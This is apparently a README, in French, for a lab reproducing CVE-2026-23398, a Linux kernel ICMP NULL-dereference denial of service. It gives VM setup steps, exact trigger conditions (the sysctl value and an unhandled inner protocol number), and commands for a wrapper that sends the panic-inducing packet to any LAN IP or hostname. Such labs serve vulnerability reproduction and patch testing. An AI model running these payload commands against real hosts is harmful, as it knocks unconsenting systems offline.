
Laboratoire reproductible pour CVE-2026-23398, une déréférence de pointeur NULL dans le noyau Linux dans icmp_tag_validation() déclenchée par des paquets ICMP Fragmentation Needed, provoquant un déni de service. Comprend la configuration d'une VM QEMU, un PoC Scapy, et des scripts pour tester les noyaux corrigés et vulnérables.
ip_no_pmtu_disc=3)Lab reproductible pour le bug du noyau Linux dans icmp_tag_validation() (déréférencement NULL lorsque net.ipv4.ip_no_pmtu_disc = 3 et qu'un ICMP Fragmentation Needed arrive dont l'en-tête IPv4 interne cité utilise un numéro de protocole sans gestionnaire dans inet_protos[]).
Utilisation autorisée uniquement : systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test. L'impact est un déni de service (panique du noyau).
| Composant | Objectif |
|---|
QEMU (qemu-system-x86_64, qemu-img) | VM victime |
cloud-image-utils (cloud-localds), wget, genisoimage | Cloud-init et téléchargement d'image |
| Docker + Docker Compose | Envoi ICMP depuis l'hôte (mode réseau host) |
| Client OpenSSH | Automatisation SSH |
Clé SSH dans ~/.ssh/id_ed25519.pub ou id_rsa.pub, ou sshpass | Connexion invitée sans saisie de mot de passe (clés recommandées) |
| sudo | Mode TAP uniquement (ICMP de l'hôte vers l'IP fixe de la VM) |
Python 3 et Scapy sur l'hôte ne sont nécessaires que si vous n'utilisez pas Docker pour les charges utiles distantes.
├── send_frag_needed.py # PoC Scapy (ICMP 3,4 + IP interne avec proto inhabituel)
├── send-payload-to-host.sh # Envoi de la charge utile vers une IP/hôte de votre réseau
├── docker-compose.yml # Service « sender » (réseau hôte + CAP_NET_RAW)
├── Dockerfile
├── vm/ # Disques, seeds cloud-init, journaux série QEMU
└── scripts/
├── fetch-image.sh
├── prepare-disk.sh
├── build-seed-dhcp.sh # Seed DHCP (mode usernet)
├── build-seed.sh # Seed statique 192.168.76.2 (mode TAP)
├── vm-start-usernet.sh # QEMU + réseau utilisateur (port SSH 2222)
├── vm-stop-usernet.sh
├── vm-start.sh / vm-stop.sh # QEMU + TAP (après tap-up.sh)
├── tap-up.sh / tap-down.sh # Interface TAP sur l'hôte (sudo)
├── run-lab-usernet.sh # Flux complet : image + VM + Scapy sur l'invité (noyau récent)
├── run-lab.sh # Flux TAP + expéditeur docker → 192.168.76.2
├── install-vulnerable-mainline.sh # Mainline 6.12 non corrigé + PoC veth (panique)
└── poc-veth-netns.sh # À exécuter *dans* l'invité (veth + netns)
Le réseau utilisateur QEMU ne transmet pas de manière fiable les ICMP émis par l'hôte vers l'invité. Le flux automatisé installe Scapy sur la VM et y exécute le script. Un noyau Ubuntu actuel est généralement corrigé : vous verrez « Sent 1 packets » mais aucune panique.
cd /path/to/repo
chmod +x scripts/*.sh send-payload-to-host.sh
# Première exécution : téléchargement de l'image cloud Ubuntu Noble, overlay, seed, démarrage QEMU, SSH :2222, apt, PoC
./scripts/run-lab-usernet.sh
ssh -p 2222 [email protected] (mot de passe lablab si vous utilisez l'authentification par mot de passe)../scripts/vm-stop-usernet.shvm/serial-usernet.logLe correctif de la CVE a été intégré en mars 2026. Une version mainline plus ancienne (par ex. 6.12.0 de 2024-11) ne contient pas ce correctif. Le script installe ces paquets .deb dans la VM, redémarre et exécute le PoC en utilisant veth + un espace de noms réseau afin que l'ICMP suive un véritable chemin ingress (l'envoi uniquement vers l'IP de loopback/interface de l'invité ne suffit pas).
Avertissement : cela se termine généralement par une panique du noyau ; SSH cesse de répondre.
# VM usernet en cours d'exécution (ou après que run-lab-usernet l'ait créée une fois)
./scripts/vm-start-usernet.sh # si elle n'est pas déjà en cours d'exécution
./scripts/install-vulnerable-mainline.sh
| Signal | Panique bien survenue (attendue sur 6.12 vulnérable) | Panique non survenue |
|---|---|---|
| SSH juste après « Running PoC … » | Bloque ou Connection timed out / Connection reset | La session fonctionne toujours ; vous obtenez un shell |
Sortie de send_frag_needed.py | Vous devriez voir . Sent 1 packets. avant que SSH ne meure (souvent tronqué si le lien tombe immédiatement) | Install Scapy: pip install scapy → Scapy était absent de l'invité ; l'ICMP n'a jamais été envoyé. Relancez install-vulnerable-mainline.sh (il installe python3-scapy) ou exécutez sudo apt install -y python3-scapy sur la VM et relancez le PoC |
| Journal série | tail -f vm/serial-usernet.log affiche Kernel panic, icmp_unreach, CR2: 0000000000000010, etc. | Aucune ligne de panique ; l'invité continue de fonctionner |
| Processus QEMU | Toujours en cours d'exécution mais l'OS invité est mort jusqu'au redémarrage | L'invité répond toujours sur le port 2222 |
Remarque sur un disque neuf : Si vous exécutez uniquement prepare-disk.sh + vm-start-usernet.sh (et non run-lab-usernet.sh), l'invité peut ne pas avoir python3-scapy tant que install-vulnerable-mainline.sh ne l'installe pas (ou que vous ne l'installez pas manuellement).
Après une panique — réinitialisation propre :
./scripts/vm-stop-usernet.sh
rm -f vm/victim.qcow2
./scripts/prepare-disk.sh
./scripts/build-seed-dhcp.sh
./scripts/vm-start-usernet.sh
# facultatif : réinstaller les paquets / relancer install-vulnerable-mainline.sh
L'invité utilise 192.168.76.2 et l'hôte 192.168.76.1 sur le TAP. L'ICMP se comporte comme sur un vrai LAN.
./scripts/tap-up.sh # sudo : crée icmp-lab-tap0
./scripts/prepare-disk.sh
./scripts/build-seed.sh # adressage statique dans cloud-init
./scripts/vm-start.sh
./scripts/wait-ssh.sh 192.168.76.2
# Sur la VM : sysctl -w net.ipv4.ip_no_pmtu_disc=3 et un noyau vulnérable si vous voulez la panique
docker compose build
docker compose run --rm sender 192.168.76.2
./scripts/run-lab.sh enchaîne une partie de ce flux (nécessite TAP + Docker).
Wrapper pratique (résout nom d'hôte → IPv4, privilégie Docker, sinon sudo + Python) :
chmod +x send-payload-to-host.sh
docker compose build # une fois
./send-payload-to-host.sh 192.168.1.50
./send-payload-to-host.sh myserver.lan --inner-proto 253 --nexthop-mtu 1200
Sans Docker :
sudo pip install scapy # si nécessaire
sudo ./send-payload-to-host.sh 192.168.1.50
Conditions cibles importantes pour cette CVE :
net.ipv4.ip_no_pmtu_disc = 3 (mode PMTU renforcé).Si le noyau est corrigé ou si le sysctl n'est pas 3, vous ne verrez pas de panique ; le paquet peut néanmoins être transmis sur le fil.
| Variable | Description |
|---|---|
ICMP_LAB_TAP | Nom du périphérique TAP (défaut icmp-lab-tap0) |
ICMP_LAB_HOST_IP | Adresse hôte sur TAP (défaut 192.168.76.1/24) |
ICMP_LAB_SSH_PORT | Port SSH usernet (défaut 2222) |
ICMP_LAB_SSH_HOST | Hôte SSH (défaut 127.0.0.1) |
icmp: fix NULL pointer dereference in icmp_tag_validation() (commit 614aefe56af8e sur mainline)3 : commit 8ed1dc44d3e9 (hardened ip_no_pmtu_disc)| Objectif | Commande |
|---|---|
| Lab usernet première fois | ./scripts/run-lab-usernet.sh |
| Démarrer / arrêter la VM usernet | ./scripts/vm-start-usernet.sh / ./scripts/vm-stop-usernet.sh |
| Noyau vulnérable + PoC (panique) | ./scripts/install-vulnerable-mainline.sh |
| Réinitialiser le disque après panique | rm -f vm/victim.qcow2 && ./scripts/prepare-disk.sh && ./scripts/build-seed-dhcp.sh |
| Charge utile vers IP/hôte LAN | ./send-payload-to-host.sh <IP|hostname> |
| Construire l'image Docker de l'expéditeur | docker compose build |